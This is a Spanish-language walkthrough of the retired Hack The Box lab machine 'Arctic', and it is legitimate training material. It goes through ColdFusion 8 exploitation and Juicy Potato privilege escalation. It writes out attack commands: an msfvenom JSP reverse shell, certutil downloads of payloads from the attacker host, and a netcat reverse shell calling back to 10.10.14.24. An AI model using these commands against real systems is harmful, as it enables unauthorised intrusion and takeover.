Arctic Write-Up

Fecha de lanzamiento22 Mar 2017
EstadoRetirada
DificultadEasy
PlataformaWindows
IP10.10.10.11

Información de la máquina


RECONOCIMIENTO

Mediante el escaneo con la herramienta nmap observamos que hay 3 puertos abiertos (135,8500 y 49154).

nmap -open -p- -sS --min-rate 5000 -Pn -vvv -n -oN nmap_scan 10.10.10.11
ports=$(cat nmap_scan | grep -oP "^\d*" | xargs | tr " ", ",")
nmap -sCV -p$ports -Pn 10.10.10.11 -oN nmap_services

Si hacemos una búsqueda en el navegador de la IP y el puerto 8500, obtenemos un indice de lo que parecen ser dos directorios. En uno de ellos encontramos un archivo denominado «Administrator». Obtenemos acceso a un panel login.

HTTP 8500 – ColdFusion 8

Coldfusion es una plataforma de desarrollo rápido de aplicaciones web que usa el lenguaje de programación CFML. En este aspecto, es un producto similar a ASP, JSP o PHP. ColdFusion es una herramienta que corre en forma concurrente con la mayoría de los servidores web de Windows, Mac OS X, Linux y Solaris.

WIkipedia

Tenemos el nombre de la aplicación y tenemos la versión. Si buscamos mediante la herramienta searchsploit, obtenemos numerosos resultados. Vamos a inspeccionar un script en Python en relación a un exploit de Directory Traversal: multiple/remote/14641.py

Si realizamos una petición GET a esa URL, tenemos visibilidad de lo que parece un HASH de una contraseña. Podemos crackearla en la web de CrackStation y obtenemos en texto claro la contraseña de acceso al panel administrativo de ColdFusion.

Una vez tenemos acceso al panel de administración de ColdFusion, vamos a aprovecharnos de la creación de una tarea programada para subir un archivo malicioso a una ruta concreta del servidor para posteriormente ejecutarlo y entablar una conexión hacia nuestro equipo.

Para ello, necesitamos primero saber la ruta absoluta en la que está trabajando la aplicación. Para ello en el menu desplegable de la izquierda, seleccionamos Mappings.

Si a continuación nos dirigimos a Scheduled Tasks, tenemos la opción de crear una tarea programada. La tarea cuando se ejecute, va a realizar una petición a nuestro servidor local apuntando al recurso clickaqui.jsp y va a almacenar el archivo en la ruta especifica abajo, que es la que hemos sacado de la pestaña Mappings.

Vamos a crear el archivo malicioso con extension .jsp y vamos a exponerlo para que pueda ser obtenido por parte del servidor web víctima.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.24 LPORT=443 -o clickaqui.jsp
python -m http.server 80

Si ejecutamos la tarea (botón verde en la web) vemos que la petición se realiza correctamente y el archivo parece que ha sido cargado en la web. Si volvemos al directorio CFIDE donde teníamos capacidad de listado en la web, vemos que nuestro archivo se encuentra ahí.

Nos ponemos en escucha por el puerto 443 y si abrimos el archivo, se interpreta en la web y tenemos una shell de bajos privilegios dentro de la máquina víctima.

Privilege Escalation – Juicy Potato

Observando los privilegios del usuario, vemos que tiene asignado el privilegio SeImpersonatePrivilege. Esto significa que tenemos una vía potencial de escalar privilegios en la máquina gracias a Juicy Potato.

Vamos a descargarnos la ultima versión de los Releases de Github así como el ejecutable de Netcat para Windows de 64 Bits. Descomprimimos el comprimido de Netcat y vamos a pasar a la máquina víctima dos archivos: jp.exe y nc.exe:

python3 -m http.server # Servidor Local
certutil.exe -f -split -urlcache http://10.10.14.24:8000/jp.exe # Servidor Victima
certutil.exe -f -split -urlcache http://10.10.14.24:8000/nc.exe # Servidor Victima

Nos ponemos en local en escucha por el puerto 4567 y vamos a ejecutar el Juicy Potato para que nos envié una cmd como Administrator:

jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\Escalada\nc.exe -e cmd 10.10.14.24 4567"
Jorge Escrito por: